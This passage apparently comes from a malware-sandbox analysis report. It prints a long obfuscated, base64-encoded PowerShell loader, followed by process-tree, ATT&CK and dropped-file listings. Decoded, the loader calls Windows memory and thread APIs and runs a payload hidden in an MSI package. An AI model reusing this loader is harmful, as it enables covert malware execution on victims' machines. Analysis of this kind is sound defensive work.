ACwAcgBlAHMAZQByAHYAZQBkADIAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAAcgBlAHMAZQByAHYAZQBkADMALABpAG4ASAAsAG8AdQB0AEgALABlAHIAcgBIADsAfQBbAFMAdAByAHUAYwB0AEwAYQB5AG8AdQB0ACgATABhAHkAbwB1AHQASwBpAG4AZAAuAFMAZQBxAHUAZQBuAHQAaQBhAGwAKQBdAHAAdQBiAGwAaQBjACAAcwB0AHIAdQBjAHQAIABQAEkAewBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAAaABQAHIAbwBjAGUAcwBzACwAaABUAGgAcgBlAGEAZAA7AHAAdQBiAGwAaQBjACAAaQBuAHQAIABwAGkAZAAsAHQAaQBkADsAfQBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACwAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACwAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBVAG4AaQBjAG8AZABlACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwAoAHMAdAByAGkAbgBnACAAYQBwAHAALABzAHQAcgBpAG4AZwAgAGMAbQBkACwASQBuAHQAUAB0AHIAIABwAGEALABJAG4AdABQAHQAcgAgAHQAYQAsAGIAbwBvAGwAIABpAG4AaABlAHIAaQB0ACwAdQBpAG4AdAAgAGYAbABhAGcAcwAsAEkAbgB0AFAAdAByACAAZQBuAHYALABzAHQAcgBpAG4AZwAgAGQAaQByACwAcgBlAGYAIABTAEkAIABzAGkALABvAHUAdAAgAFAASQAgAHAAaQApADsAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGkAbgB0ACAAUgB1AG4AKABzAHQAcgBpAG4AZwAgAGMAbwBtAG0AYQBuAGQAKQB7AFMASQAgAHMAaQA9AG4AZQB3ACAAUwBJACgAKQA7AHMAaQAuAGMAYgA9AE0AYQByAHMAaABhAGwALgBTAGkAegBlAE8AZgAoAHQAeQBwAGUAbwBmACgAUwBJACkAKQA7AHMAaQAuAGYAbABhAGcAcwA9ADEAOwBQAEkAIABwAGkAOwB1AGkAbgB0ACAAZgBsAGEAZwBzAD0AMAB4ADAAOQAwADAAMAAyADAAMAA7AGkAZgAoACEAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBXACgAbgB1AGwAbAAsAGMAbwBtAG0AYQBuAGQALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALABmAGEAbABzAGUALABmAGwAYQBnAHMALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALABuAHUAbABsACwAcgBlAGYAIABzAGkALABvAHUAdAAgAHAAaQApACkAewBmAGwAYQBnAHMAPQAwAHgAMAA4ADAAMAAwADAAMAAwADsAaQBmACgAIQBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAKABuAHUAbABsACwAYwBvAG0AbQBhAG4AZAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsAGYAYQBsAHMAZQAsAGYAbABhAGcAcwAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsAG4AdQBsAGwALAByAGUAZgAgAHMAaQAsAG8AdQB0ACAAcABpACkAKQByAGUAdAB1AHIAbgAgADAAOwB9AHIAZQB0AHUAcgBuACAAcABpAC4AcABpAGQAOwB9AH0AJwA7AGkAZgAoAFsASAA5ADkANwA4ADMANQBdADoAOgBSAHUAbgAoACQARwBGAFkAMwBWAEYAbQBXADMAegA5ACkAIAAtAGcAdAAgADAAKQB7AGUAeABpAHQAIAAwAH0AOwB9ADsAJAByAGgAeABtAFAAZQBBAGkAbQBsAGYANAA9ACQAZQBuAHYAOgBUAEMAeQB5AGIAUgBUAFMASwBHAEUAOAA7AGkAZgAoAC0AbgBvAHQAIAAkAHIAaAB4AG0AUABlAEEAaQBtAGwAZgA0ACkAewByAGUAdAB1AHIAbgB9ADsAJABhAG4ANgAzADkANAAxADUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACgAJwBOADYAMwA5ADQAMQA1ACcAKQA7ACQAYQBiADYAMwA5ADQAMQA1AD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBBAHMAcwBlAG0AYgBsAHkAKAAkAGEAbgA2ADMAOQA0ADEANQAsAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEUAbQBpAHQALgBBAHMAcwBlAG0AYgBsAHkAQgB1AGkAbABkAGUAcgBBAGMAYwBlAHMAcwBdADoAOgBSAHUAbgApADsAJABtAG8ANgAzADkANAAxADUAPQAkAGEAYgA2ADMAOQA0ADEANQAuAEQAZQBmAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAKAAnAG0ANgAzADkANAAxADUAJwApADsAJAB0AGIANgAzADkANAAxADUAPQAkAG0AbwA2ADMAOQA0ADEANQAuAEQAZQBmAGkAbgBlAFQAeQBwAGUAKAAnAFQANgAzADkANAAxADUAJwAsAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAFQAeQBwAGUAQQB0AHQAcgBpAGIAdQB0AGUAcwBdACcAUAB1AGIAbABpAGMALABCAGUAZgBvAHIAZQBGAGkAZQBsAGQASQBuAGkAdAAnACkAOwAkAGEAdAA2ADMAOQA0ADEANQA9AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAE0AZQB0AGgAbwBkAEEAdAB0AHIAaQBiAHUAdABlAHMAXQAnAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwA7ACQAYwB2ADYAMwA5ADQAMQA1AD0AWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQwBhAGwAbABpAG4AZwBDAG8AbgB2AGUAbgB0AGkAbwBuAHMAXQA6ADoAUwB0AGEAbgBkAGEAcgBkADsAJAB3AG4ANgAzADkANAAxADUAPQBbAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAEMAYQBsAGwAaQBuAGcAQwBvAG4AdgBlAG4AdABpAG8AbgBdADoAOgBXAGkAbgBhAHAAaQA7ACQAYQB1ADYAMwA5ADQAMQA1AD0AWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBDAGgAYQByAFMAZQB0AF0AOgA6AEEAdQB0AG8AOwAkAHUAbgA2ADMAOQA0ADEANQA9AFsAUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4AQwBoAGEAcgBTAGUAdABdADoAOgBVAG4AaQBjAG8AZABlADsAJABhAHMANgAzADkANAAxADUAPQBbAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAEMAaABhAHIAUwBlAHQAXQA6ADoAQQBuAHMAaQA7AGYAdQBuAGMAdABpAG8AbgAgAFAASQA2ADMAOQA0ADEANQAoACQAbgAsACQAZABsAGwALAAkAHIAZQB0ACwAJABwAHMALAAkAGMAcwApAHsAJABtAD0AJAB0AGIANgAzADkANAAxADUALgBEAGUAZgBpAG4AZQBQAEkAbgB2AG8AawBlAE0AZQB0AGgAbwBkACgAJABuACwAJABkAGwAbAAsACQAYQB0ADYAMwA5ADQAMQA1ACwAJABjAHYANgAzADkANAAxADUALAAkAHIAZQB0ACwAJABwAHMALAAkAHcAbgA2ADMAOQA0ADEANQAsACQAYwBzACkAOwAkAG0ALgBTAGUAdABJAG0AcABsAGUAbQBlAG4AdABhAHQAaQBvAG4ARgBsAGEAZwBzACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4ATQBlAHQAaABvAGQASQBtAHAAbABBAHQAdAByAGkAYgB1AHQAZQBzAF0AOgA6AFAAcgBlAHMAZQByAHYAZQBTAGkAZwApAH0AOwBQAEkANgAzADkANAAxADUAIAAnAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACcAIAAnAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACcAIAAoAFsASQBuAHQAUAB0AHIAXQApACAAKABbAHQAeQBwAGUAWwBdAF0AQAAoAFsASQBuAHQAUAB0AHIAXQAsAFsAVQBJAG4AdABQAHQAcgBdACwAWwB1AGkAbgB0ADMAMgBdACwAWwB1AGkAbgB0ADMAMgBdACkAKQAgACQAYQB1ADYAMwA5ADQAMQA1ADsAUABJADYAMwA5ADQAMQA1ACAAJwBWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAJwAgACcAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAJwAgACgAWwBiAG8AbwBsAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAEkAbgB0AFAAdAByAF0ALABbAFUASQBuAHQAUAB0AHIAXQAsAFsAdQBpAG4AdAAzADIAXQAsAFsAdQBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYAMwA5ADQAMQA1ADsAUABJADYAMwA5ADQAMQA1ACAAJwBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAnACAAJwBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAnACAAKABbAEkAbgB0AFAAdAByAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAEkAbgB0AFAAdAByAF0ALABbAFUASQBuAHQAUAB0AHIAXQAsAFsASQBuAHQAUAB0AHIAXQAsAFsASQBuAHQAUAB0AHIAXQAsAFsAdQBpAG4AdAAzADIAXQAsAFsAdQBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYAMwA5ADQAMQA1ADsAUABJADYAMwA5ADQAMQA1ACAAJwBMAG8AYQBkAEwAaQBiAHIAYQByAHkAQQAnACAAJwBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAnACAAKABbAEkAbgB0AFAAdAByAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAHMAdAByAGkAbgBnAF0AKQApACAAJABhAHMANgAzADkANAAxADUAOwBQAEkANgAzADkANAAxADUAIAAnAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAnACAAJwBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAnACAAKABbAEkAbgB0AFAAdAByAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAEkAbgB0AFAAdAByAF0ALABbAHMAdAByAGkAbgBnAF0AKQApACAAJABhAHMANgAzADkANAAxADUAOwBQAEkANgAzADkANAAxADUAIAAnAE0AcwBpAE8AcABlAG4ARABhAHQAYQBiAGEAcwBlACcAIAAnAG0AcwBpAC4AZABsAGwAJwAgACgAWwB1AGkAbgB0ADMAMgBdACkAIAAoAFsAdAB5AHAAZQBbAF0AXQBAACgAWwBzAHQAcgBpAG4AZwBdACwAWwBJAG4AdABQAHQAcgBdACwAWwB1AGkAbgB0ADMAMgBdAC4ATQBhAGsAZQBCAHkAUgBlAGYAVAB5AHAAZQAoACkAKQApACAAJAB1AG4ANgAzADkANAAxADUAOwBQAEkANgAzADkANAAxADUAIAAnAE0AcwBpAEQAYQB0AGEAYgBhAHMAZQBPAHAAZQBuAFYAaQBlAHcAJwAgACcAbQBzAGkALgBkAGwAbAAnACAAKABbAHUAaQBuAHQAMwAyAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAHUAaQBuAHQAMwAyAF0ALABbAHMAdAByAGkAbgBnAF0ALABbAHUAaQBuAHQAMwAyAF0ALgBNAGEAawBlAEIAeQBSAGUAZgBUAHkAcABlACgAKQApACkAIAAkAHUAbgA2ADMAOQA0ADEANQA7AFAASQA2ADMAOQA0ADEANQAgACcATQBzAGkAVgBpAGUAdwBFAHgAZQBjAHUAdABlACcAIAAnAG0AcwBpAC4AZABsAGwAJwAgACgAWwB1AGkAbgB0ADMAMgBdACkAIAAoAFsAdAB5AHAAZQBbAF0AXQBAACgAWwB1AGkAbgB0ADMAMgBdACwAWwB1AGkAbgB0ADMAMgBdACkAKQAgACQAYQB1ADYAMwA5ADQAMQA1ADsAUABJADYAMwA5ADQAMQA1ACAAJwBNAHMAaQBWAGkAZQB3AEYAZQB0AGMAaAAnACAAJwBtAHMAaQAuAGQAbABsACcAIAAoAFsAdQBpAG4AdAAzADIAXQApACAAKABbAHQAeQBwAGUAWwBdAF0AQAAoAFsAdQBpAG4AdAAzADIAXQAsAFsAdQBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYAMwA5ADQAMQA1ADsAUABJADYAMwA5ADQAMQA1ACAAJwBNAHMAaQBSAGUAYwBvAHIAZABSAGUAYQBkAFMAdAByAGUAYQBtACcAIAAnAG0AcwBpAC4AZABsAGwAJwAgACgAWwB1AGkAbgB0ADMAMgBdACkAIAAoAFsAdAB5AHAAZQBbAF0AXQBAACgAWwB1AGkAbgB0ADMAMgBdACwAWwB1AGkAbgB0ADMAMgBdACwAWwBJAG4AdABQAHQAcgBdACwAWwBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYAMwA5ADQAMQA1ADsAUABJADYAMwA5ADQAMQA1ACAAJwBNAHMAaQBDAGwAbwBzAGUASABhAG4AZABsAGUAJwAgACcAbQBzAGkALgBkAGwAbAAnACAAKABbAHUAaQBuAHQAMwAyAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAHUAaQBuAHQAMwAyAF0AKQApACAAJABhAHUANgAzADkANAAxADUAOwAkAE4AUgBSADAAUAA5AD0AJAB0AGIANgAzADkANAAxADUALgBDAHIAZQBhAHQAZQBUAHkAcABlACgAKQA7ACQAZAA3AEEARgBBAHUAdwBoAF8ARwAyAFEAaABDAD0AJwBpAEIATwBGAEcARABkAEEAeAAnADsAJABkAGIAOAA5ADEAMgA9AFsAdQBpAG4AdAAzADIAXQAwADsAJABjADUAOAAwADQAPQAkAE4AUgBSADAAUAA5ADoAOgBNAHMAaQBPAHAAZQBuAEQAYQB0AGEAYgBhAHMAZQAoACQAcgBoAHgAbQBQAGUAQQBpAG0AbABmADQALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8ALABbAHIAZQBmAF0AJABkAGIAOAA5ADEAMgApADsAaQBmACgAJABjADUAOAAwADQAIAAtAG4AZQAgADAAKQB7AHQAaAByAG8AdwAgACcAbwBwAGUAbgAnAH0AOwAkAHYAdwA2ADAAOAAyAD0AWwB1AGkAbgB0ADMAMgBdADAAOwAkAHIAYwAyADYANwA5AD0AWwB1AGkAbgB0ADMAMgBdADAAOwB0AHIAeQB7ADsAJABrADYAOAAzADkAPQBbAGMAaABhAHIAXQA5ADYAOwAkAHEAOQAwADEANgA9ACcAUwBFAEwARQBDAFQAIAAnACsAJABrADYAOAAzADkAKwAnAEQAYQB0AGEAJwArACQAawA2ADgAMwA5ACsAJwAgAEYAUgBPAE0AIAAnACsAJABrADYAOAAzADkAKwAnAEIAaQBuAGEAcgB5ACcAKwAkAGsANgA4ADMAOQArACcAIABXAEgARQBSAEUAIAAnACsAJABrADYAOAAzADkAKwAnAE4AYQBtAGUAJwArACQAawA2ADgAMwA5ACsAIgA9ACcAIgArACQAZAA3AEEARgBBAHUAdwBoAF8ARwAyAFEAaABDAC4AUgBlAHAAbABhAGMAZQAoACIAJwAiACwAIgAnACcAIgApACsAIgAnACIAOwAkAGMANQA4ADAANAA9ACQATgBSAFIAMABQADkAOgA6AE0AcwBpAEQAYQB0AGEAYgBhAHMAZQBPAHAAZQBuAFYAaQBlAHcAKAAkAGQAYgA4ADkAMQAyACwAJABxADkAMAAxADYALABbAHIAZQBmAF0AJAB2AHcANgAwADgAMgApADsAaQBmACgAJABjADUAOAAwADQAIAAtAG4AZQAgADAAKQB7AHQAaAByAG8AdwAgACcAdgBpAGUAdwAnAH0AOwAkAGMANQA4ADAANAA9ACQATgBSAFIAMABQADkAOgA6AE0AcwBpAFYAaQBlAHcARQB4AGUAYwB1AHQAZQAoACQAdgB3ADYAMAA4ADIALABbAHUAaQBuAHQAMwAyAF0AMAApADsAaQBmACgAJABjADUAOAAwADQAIAAtAG4AZQAgADAAKQB7AHQAaAByAG8AdwAgACcAZQB4AGUAYwAnAH0AOwAkAGMANQA4ADAANAA9ACQATgBSAFIAMABQADkAOgA6AE0AcwBpAFYAaQBlAHcARgBlAHQAYwBoACgAJAB2AHcANgAwADgAMgAsAFsAcgBlAGYAXQAkAHIAYwAyADYANwA5ACkAOwBpAGYAKAAkAGMANQA4ADAANAAgAC0AbgBlACAAMAApAHsAdABoAHIAbwB3ACAAJwBmAGUAdABjAGgAJwB9ADsAJABuADQANQA0ADUAPQBbAGkAbgB0ADMAMgBdADAAOwAkAGMANQA4ADAANAA9ACQATgBSAFIAMABQADkAOgA6AE0AcwBpAFIAZQBjAG8AcgBkAFIAZQBhAGQAUwB0AHIAZQBhAG0AKAAkAHIAYwAyADYANwA5ACwAWwB1AGkAbgB0ADMAMgBdADEALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8ALABbAHIAZQBmAF0AJABuADQANQA0ADUAKQA7AGkAZgAoACQAYwA1ADgAMAA0ACAALQBuAGUAIAAwACkAewB0AGgAcgBvAHcAIAAnAGwAZQBuACcAfQA7ACQAcAA2ADcAMAAyAD0AWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEEAbABsAG8AYwBIAEcAbABvAGIAYQBsACgAWwBpAG4AdABdACQAbgA0ADUANAA1ACkAOwB0AHIAeQB7ADsAJABnADUAMAAyADYAPQBbAGkAbgB0ADMAMgBdACQAbgA0ADUANAA1ADsAJABjADUAOAAwADQAPQAkAE4AUgBSADAAUAA5ADoAOgBNAHMAaQBSAGUAYwBvAHIAZABSAGUAYQBkAFMAdAByAGUAYQBtACgAJAByAGMAMgA2ADcAOQAsAFsAdQBpAG4AdAAzADIAXQAxACwAJABwADYANwAwADIALABbAHIAZQBmAF0AJABnADUAMAAyADYAKQA7AGkAZgAoACQAYwA1ADgAMAA0ACAALQBuAGUAIAAwACkAewB0AGgAcgBvAHcAIAAnAHIAZQBhAGQAJwB9ADsAJABpAGgARQB4AGoAUwA0AG0AbgB5ADcAWQBTAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAoAFsAaQBuAHQAXQAkAGcANQAwADIANgApADsAWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHAANgA3ADAAMgAsACQAaQBoAEUAeABqAFMANABtAG4AeQA3AFkAUwBwACwAMAAsAFsAaQBuAHQAXQAkAGcANQAwADIANgApADsAfQBmAGkAbgBhAGwAbAB5AHsAWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEYAcgBlAGUASABHAGwAbwBiAGEAbAAoACQAcAA2ADcAMAAyACkAfQA7AH0AZgBpAG4AYQBsAGwAeQB7ADsAaQBmACgAJAByAGMAMgA2ADcAOQAgAC0AbgBlACAAMAApAHsAWwB2AG8AaQBkAF0AJABOAFIAUgAwAFAAOQA6ADoATQBzAGkAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAJAByAGMAMgA2ADcAOQApAH0AOwBpAGYAKAAkAHYAdwA2ADAAOAAyACAALQBuAGUAIAAwACkAewBbAHYAbwBpAGQAXQAkAE4AUgBSADAAUAA5ADoAOgBNAHMAaQBDAGwAbwBzAGUASABhAG4AZABsAGUAKAAkAHYAdwA2ADAAOAAyACkAfQA7AFsAdgBvAGkAZABdACQATgBSAFIAMABQADkAOgA6AE0AcwBpAEMAbABvAHMAZQBIAGEAbgBkAGwAZQAoACQAZABiADgAOQAxADIAKQA7AH0AOwAkAGQANwBBAEYAQQB1AHcAaABfAEcAMgBRAGgAQwA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAaABFAHgAagBTADQAbQBuAHkANwBZAFMAcAApADsAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABkADcAQQBGAEEAdQB3AGgAXwBHADIAUQBoAEMAKQApAA=='))))"
            3⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1444
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Checks SCSI registry key(s)
        • Suspicious use of AdjustPrivilegeToken
        PID:4884

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e598ddf.rbs
            • Path C:\Config.Msi\e598ddf.rbs
            • Size 8KB
            • SHA256 6ae4747f13698ccde59a334c1e5302e7c7eb899e1758d49fdebbe97d978e0a80
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 2706f7a3cde18304b8eb65dc0fa6d884f09a46a78e320302afda951d20885534
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            RES9D01.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\RES9D01.tmp
            • Size 1KB
            • SHA256 e5df422f4b11a35a0a2c7f46369cf81b7c89e6b401817d3a4c4ebb02cfe31667
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_xpoacmbn.ued.psm1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xpoacmbn.ued.psm1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            dziw4dka.dll
            • Path C:\Users\Admin\AppData\Local\Temp\dziw4dka\dziw4dka.dll
            • Size 4KB
            • SHA256 ad41866fa261010adab82fb9673b8826e4488bbd8540edab54506d39288dc131
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            e598dde.msi
            • Path C:\Windows\Installer\e598dde.msi
            • Size 2.2MB
            • SHA256 5cd9b187abe7cb2d768da7010dd9d040cd6e6b10be3a56675d4ba9eb5b8aaafd
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            metadata-2
            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 68403cec71d180d36fa49f186672f72f9972ef943de0a1fc0a4464fbf8758712
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            {3d0f420b-8331-4f9d-bb2e-b92b5b1d1927}_OnDiskSnapshotProp
            • Path \??\Volume{8a43e30d-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{3d0f420b-8331-4f9d-bb2e-b92b5b1d1927}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 74481638e4dac0b469b25c5d6786ed00067fa09932f2eda8e4b74ff9e1412a3d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            CSC12C26F2C15BB49039810045EF125A2F.TMP
            • Path \??\c:\Users\Admin\AppData\Local\Temp\dziw4dka\CSC12C26F2C15BB49039810045EF125A2F.TMP
            • Size 652B
            • SHA256 8d03dba6817f716f9c33eba755e864a899751f75eba4b91ae640a1206fc6e1d3
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            dziw4dka.0.cs
            • Path \??\c:\Users\Admin\AppData\Local\Temp\dziw4dka\dziw4dka.0.cs
            • Size 994B
            • SHA256 fd00bee0aecdcad881f1dbb21392e96ae603ef963f78662c6b9a8bc4c2207510
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            dziw4dka.cmdline
            • Path \??\c:\Users\Admin\AppData\Local\Temp\dziw4dka\dziw4dka.cmdline
            • Size 369B
            • SHA256 7e738a07f495be976133246cc04131f5d7db5f2d4f6ccd0b427006e11150375a
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/1444-46-0x000001ACB98A0000-0x000001ACB98A2000-memory.dmp
            Download

            memory/1444-44-0x0000000140000000-0x0000000140114000-memory.dmp
            Download

            memory/1444-56-0x000001ACBA490000-0x000001ACBA50A000-memory.dmp
            Download

            memory/1444-61-0x0000000140000000-0x0000000140114000-memory.dmp
            Download

            memory/1628-22-0x000001F5E0CE0000-0x000001F5E0CFE000-memory.dmp
            Download

            memory/1628-39-0x000001F5E0CF0000-0x000001F5E0CF8000-memory.dmp
            Download

            memory/1628-26-0x000001F5E1160000-0x000001F5E1184000-memory.dmp
            Download

            memory/1628-25-0x000001F5E1160000-0x000001F5E118A000-memory.dmp
            Download

            memory/1628-24-0x000001F5E0DC0000-0x000001F5E0DCA000-memory.dmp
            Download

            memory/1628-23-0x000001F5E0D00000-0x000001F5E0DB2000-memory.dmp
            Download

            memory/1628-17-0x000001F5E0C50000-0x000001F5E0C72000-memory.dmp
            Download